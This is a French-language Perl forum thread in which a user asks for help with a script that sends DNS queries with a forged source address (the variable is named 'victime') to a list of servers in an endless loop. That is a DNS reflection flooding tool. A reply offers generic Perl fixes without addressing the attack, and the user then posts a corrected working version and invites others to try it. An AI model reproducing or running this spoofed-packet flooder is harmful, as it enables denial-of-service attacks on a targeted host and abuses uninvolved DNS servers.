RawIP.pm line 481.

Version imprimable

Bonjour voila j'ai coder un scripts qui permet d'envoyer des packets sur des serveurs DNS
je ne sais pas d’où vient cette erreur mais elle me gène énormément

voici le code

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 
 
use Net::DNS;
use Net::DNS::Packet;
use IO::Socket;
use threads;
use Socket;
use Term::ANSIColor; 
use Net::RawIP; 
use IO::Socket::INET;
 
if ($#ARGV == 0) {
print "Utilisation : perl sc.pl [IP]  [Liste]\n";
 
exit(1);
}
 
my $victime = $ARGV[0];
my $domaine = "isc.org";
 
 
my $liste = $ARGV[3]; 
 open my $handle, '<', $liste;
    chomp(my @servers = <$handle>);
    close $handle;
my $servers;
 
 
 
 
 
 
    while (1) {
        my $ip = $servers[ int( rand(@servers) ) ];
 
my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({
ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
udp => {source => 53, dest => 53, data=>$dnsdata}
});
$sock->send;
 
    }

Merci d'avance pour votre aide

24/07/2014, 23h12
Lolo78
Sur la partie Réseaux, je ne peux pas vraiment t'aider, ça fait presque 20 ans que je n'ai pas fait de programmation réseau (à quelques rares exceptions près), et à l'époque je ne connaissais pas Perl (c'était surtout du C et un peu de Fortran).

Mais sur ton code Perl, quelques remarques qui devraient pouvoir t'aider.

Au vu du code, que tu as posté, je ne suis pas convaincu que tu aies besoin de tous ces modules:
Code:

1 2 3 4 5 6 7 8 use Net::DNS; use Net::DNS::Packet; use IO::Socket; use threads; use Socket; use Term::ANSIColor; use Net::RawIP; use IO::Socket::INET
En revanche, je t'incite fortement à ajouter dans tous tes programmes de plus d'une ligne les deux pragmas suivants (si tu ne les as pas déjà):
Code:

1 2 use strict; use warnings;
Je pense qu'ils t'auraient sans doute donné des indications sur des erreurs dans ton code.
Code:

1 2 3 4 if ($#ARGV == 0) { print "Utilisation : perl sc.pl [IP] [Liste]\n"; exit(1); }
D'après la syntaxe proposée par le print, il faut au moins deux arguments. Le test devrait dont être au moins:
Code:

1 2 3 if (@ARGV < 2 ) { # en contexte scalaire, @ARGV retourne ne nombre d'arguments #... }
Mais la suite du prigramme:
Code:

1 2 my $liste = $ARGV[3];
semble montrer qu'il faut au moins quatre arguments (@ARGV[0..3]). Donc le test devrait être:
Code:

1 2 3 if (@ARGV < 4) { # en contexte scalaire, @ARGV retourne ne nombre d'arguments #... }
Ensuite, le code suivant:
Code:

1 2 3 4 chomp(my @servers = <$handle>); close $handle; my $servers;
est bizarre. Je me trompe peut-être, mais tu parais croire qu'il y a un lien entre @servers et $servers. Il n'y en a pas vraiment (ce sont des éléments différents de la table des symboles), mais c'est à mon avis une mauvaise idée d'utiliser @servers et $servers dans le même programme. Même si Perl sait en principe gérer, il y a un gros risque de confusion.

Apres quelques correction au niveau des use j'avais completement oublier warnings et strict
j'ai changer le systeme d'argument et au final tout semble marcher vous pouvez le tester par vous meme

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 
 
#!/usr/bin/perl
use strict;
use warnings;
use Net::DNS;
use Net::DNS::Packet;
use IO::Socket;
use threads;
use Socket;
use Term::ANSIColor;
use Net::RawIP;
use IO::Socket::INET;
my $PROG;
( $PROG = $0 ) =~ s/^.*[\/\\]//;
 
if ( @ARGV == 0 ) {
        print "Utilisation : ./$PROG [Adresse IP] [Liste] \n\n";
 
    exit;
}
 
 
my $victime = $ARGV[0];
my $domaine = "isc.org";
 
 
my $liste = $ARGV[1];
 open my $handle, '<', $liste;
    chomp(my @servers = <$handle>);
    close $handle;
my $servers;
 
 
 
 
 
 
    while (1) {
        my $ip = $servers[ int( rand(@servers) ) ];
 
my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({
ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
udp => {source => 53, dest => 53, data=>$dnsdata}
});
$sock->send;
 
    }